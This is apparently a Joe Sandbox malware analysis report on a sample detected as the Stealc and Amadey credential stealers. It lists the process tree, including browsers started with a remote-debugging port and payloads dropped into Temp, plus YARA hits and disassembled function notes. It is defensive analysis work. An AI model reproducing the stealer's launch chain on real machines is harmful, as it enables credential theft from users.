2024-11-17 09:07:39 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Target ID:	1
Start time:	04:07:11
Start date:	17/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x180000
File size:	1'797'120 bytes
MD5 hash:	A088750A78A264D0204488FE6BEC85D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2638559950.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2639827168.000000000168E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2638559950.000000000024C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000003.2218283308.0000000005210000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:07:18
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:07:19
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2500,i,7014837265192263060,397092384164020080,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:07:28
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:07:29
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=2112,i,9263266438792223972,21661427563449255,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:07:29
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	04:07:29
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2888 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:07:34
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6812 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:07:34
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7124 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:07:35
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7560 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:07:35
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7560 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:07:49
Start date:	17/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHDGCGHIJKE.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:07:49
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:07:49
Start date:	17/11/2024
Path:	C:\Users\user\DocumentsHDGCGHIJKE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsHDGCGHIJKE.exe"
Imagebase:	0x520000
File size:	3'281'920 bytes
MD5 hash:	0491B56FD0D65497898F82CA52A7F2C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2654223393.0000000000521000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	04:07:52
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x7d0000
File size:	3'281'920 bytes
MD5 hash:	0491B56FD0D65497898F82CA52A7F2C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2685148205.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	04:07:53
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7d0000
File size:	3'281'920 bytes
MD5 hash:	0491B56FD0D65497898F82CA52A7F2C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2704054577.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:08:29
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6800 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	04:09:00
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7d0000
File size:	3'281'920 bytes
MD5 hash:	0491B56FD0D65497898F82CA52A7F2C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.3470381127.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	04:09:10
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe"
Imagebase:	0xe90000
File size:	1'938'432 bytes
MD5 hash:	C3384CBCFD7F594F40FE489F5F67A36F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.3463145469.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000002.3470889263.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.3463494156.00000000008EA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.3469262980.00000000008E9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.3448504377.00000000008ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.3469317199.00000000008ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.3448976301.00000000008ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.3448392980.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.3463567960.00000000008ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	04:09:15
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe"
Imagebase:	0x720000
File size:	1'797'120 bytes
MD5 hash:	A088750A78A264D0204488FE6BEC85D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.3474702465.00000000014EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000003.3461107805.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.3470376278.0000000000721000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Antivirus matches:	Detection: 47%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	04:09:17
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7524 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6CAC35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB4F688,00001000), ref: 6CAC35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAC35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CAC35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAC363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAC369F
__aulldiv.LIBCMT ref: 6CAC36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CAC3773
EnterCriticalSection.KERNEL32(6CB4F688), ref: 6CAC377E
LeaveCriticalSection.KERNEL32(6CB4F688), ref: 6CAC37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CAC37C4
EnterCriticalSection.KERNEL32(6CB4F688), ref: 6CAC37CB
LeaveCriticalSection.KERNEL32(6CB4F688), ref: 6CAC3801
__aulldiv.LIBCMT ref: 6CAC3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CAC3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CAC3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CAC394C

Strings

AuthcAMDenti, xrefs: 6CAC3946
QPC, xrefs: 6CAC38FC
GenuntelineI, xrefs: 6CAC3639
GTC, xrefs: 6CAC3912
MOZ_TIMESTAMP_MODE, xrefs: 6CAC35DB

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: da2cc2c5df4d8da363b11d296b473e9da5bb6841f218e54099498a051c89f81a
Instruction ID: 1a971f5d0e8de88bf015eda92aa7b3d34840cd42214989b388324701d27e74d2
Opcode Fuzzy Hash: da2cc2c5df4d8da363b11d296b473e9da5bb6841f218e54099498a051c89f81a
Instruction Fuzzy Hash: 56B1C375B0D3509FDB08EF29C85465ABBF5BB8A708F04C92DE999D3758D7309844CB82

Function 6CADC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CADC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CADC969
GetSystemInfo.KERNEL32(?), ref: 6CADC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CADC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CADC9E2

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: f96acfbeea97d223d80c1f3fb6dfe872c7a08f5b1f1689d5eececf88ff630f4c
Instruction ID: ec982734a3127930f777305109c096c74685530166ba2d126b9848bef343a1d0
Opcode Fuzzy Hash: f96acfbeea97d223d80c1f3fb6dfe872c7a08f5b1f1689d5eececf88ff630f4c
Instruction Fuzzy Hash: 12216E317456286BDB04BB69CC84BAE73B9FB4670CFA1411DF907A7B80DB306C448790

Function 6CAC3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CAC3095

Part of subcall function 6CAC35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB4F688,00001000), ref: 6CAC35D5
Part of subcall function 6CAC35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAC35E0
Part of subcall function 6CAC35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CAC35FD
Part of subcall function 6CAC35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAC363F
Part of subcall function 6CAC35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAC369F
Part of subcall function 6CAC35A0: __aulldiv.LIBCMT ref: 6CAC36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAC309F

Part of subcall function 6CAE5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAE56EE,?,00000001), ref: 6CAE5B85
Part of subcall function 6CAE5B50: EnterCriticalSection.KERNEL32(6CB4F688,?,?,?,6CAE56EE,?,00000001), ref: 6CAE5B90
Part of subcall function 6CAE5B50: LeaveCriticalSection.KERNEL32(6CB4F688,?,?,?,6CAE56EE,?,00000001), ref: 6CAE5BD8
Part of subcall function 6CAE5B50: GetTickCount64.KERNEL32 ref: 6CAE5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CAC30BE

Part of subcall function 6CAC30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CAC3127
Part of subcall function 6CAC30F0: __aulldiv.LIBCMT ref: 6CAC3140

Part of subcall function 6CAFAB2A: __onexit.LIBCMT ref: 6CAFAB30

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: b1c4de07691870a835903d4af3ddd173e02431d54a62431a5879bedf07595678
Instruction ID: 7f9e7c6693d17f899d12a3483bf9ca6623642d6d12f1efd4b946f47c52d806b8
Opcode Fuzzy Hash: b1c4de07691870a835903d4af3ddd173e02431d54a62431a5879bedf07595678
Instruction Fuzzy Hash: 71F0F422E2878896CB10FF7499415EAB374BF6B21CF109319E89863621FB3061DCC3C6

Non-executed Functions

Function 6CAD5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAD5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD54BE
__Init_thread_footer.LIBCMT ref: 6CAD54DB

Part of subcall function 6CAFAB3F: EnterCriticalSection.KERNEL32(6CB4E370,?,?,6CAC3527,6CB4F6CC,?,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB49
Part of subcall function 6CAFAB3F: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC3527,6CB4F6CC,?,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFAB7C

Part of subcall function 6CAFCBE8: GetCurrentProcess.KERNEL32(?,6CAC31A7), ref: 6CAFCBF1
Part of subcall function 6CAFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAC31A7), ref: 6CAFCBFA

GetCurrentThreadId.KERNEL32 ref: 6CAD54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CAD5516
GetCurrentThreadId.KERNEL32 ref: 6CAD556A
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CAD5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CAD5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CAD5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CAD55E6
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CAD5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAD5616

Part of subcall function 6CAFAB89: EnterCriticalSection.KERNEL32(6CB4E370,?,?,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB94
Part of subcall function 6CAFAB89: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFABD1

GetCurrentThreadId.KERNEL32 ref: 6CAD563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAD5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CAD567C
free.MOZGLUE(?), ref: 6CAD56AE

Part of subcall function 6CAE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAE5EDB
Part of subcall function 6CAE5E90: memset.VCRUNTIME140(6CB27765,000000E5,55CCCCCC), ref: 6CAE5F27
Part of subcall function 6CAE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAE5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CAD56E8
GetCurrentThreadId.KERNEL32 ref: 6CAD5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CAD570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CAD5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CAD574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CAD576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CAD5796
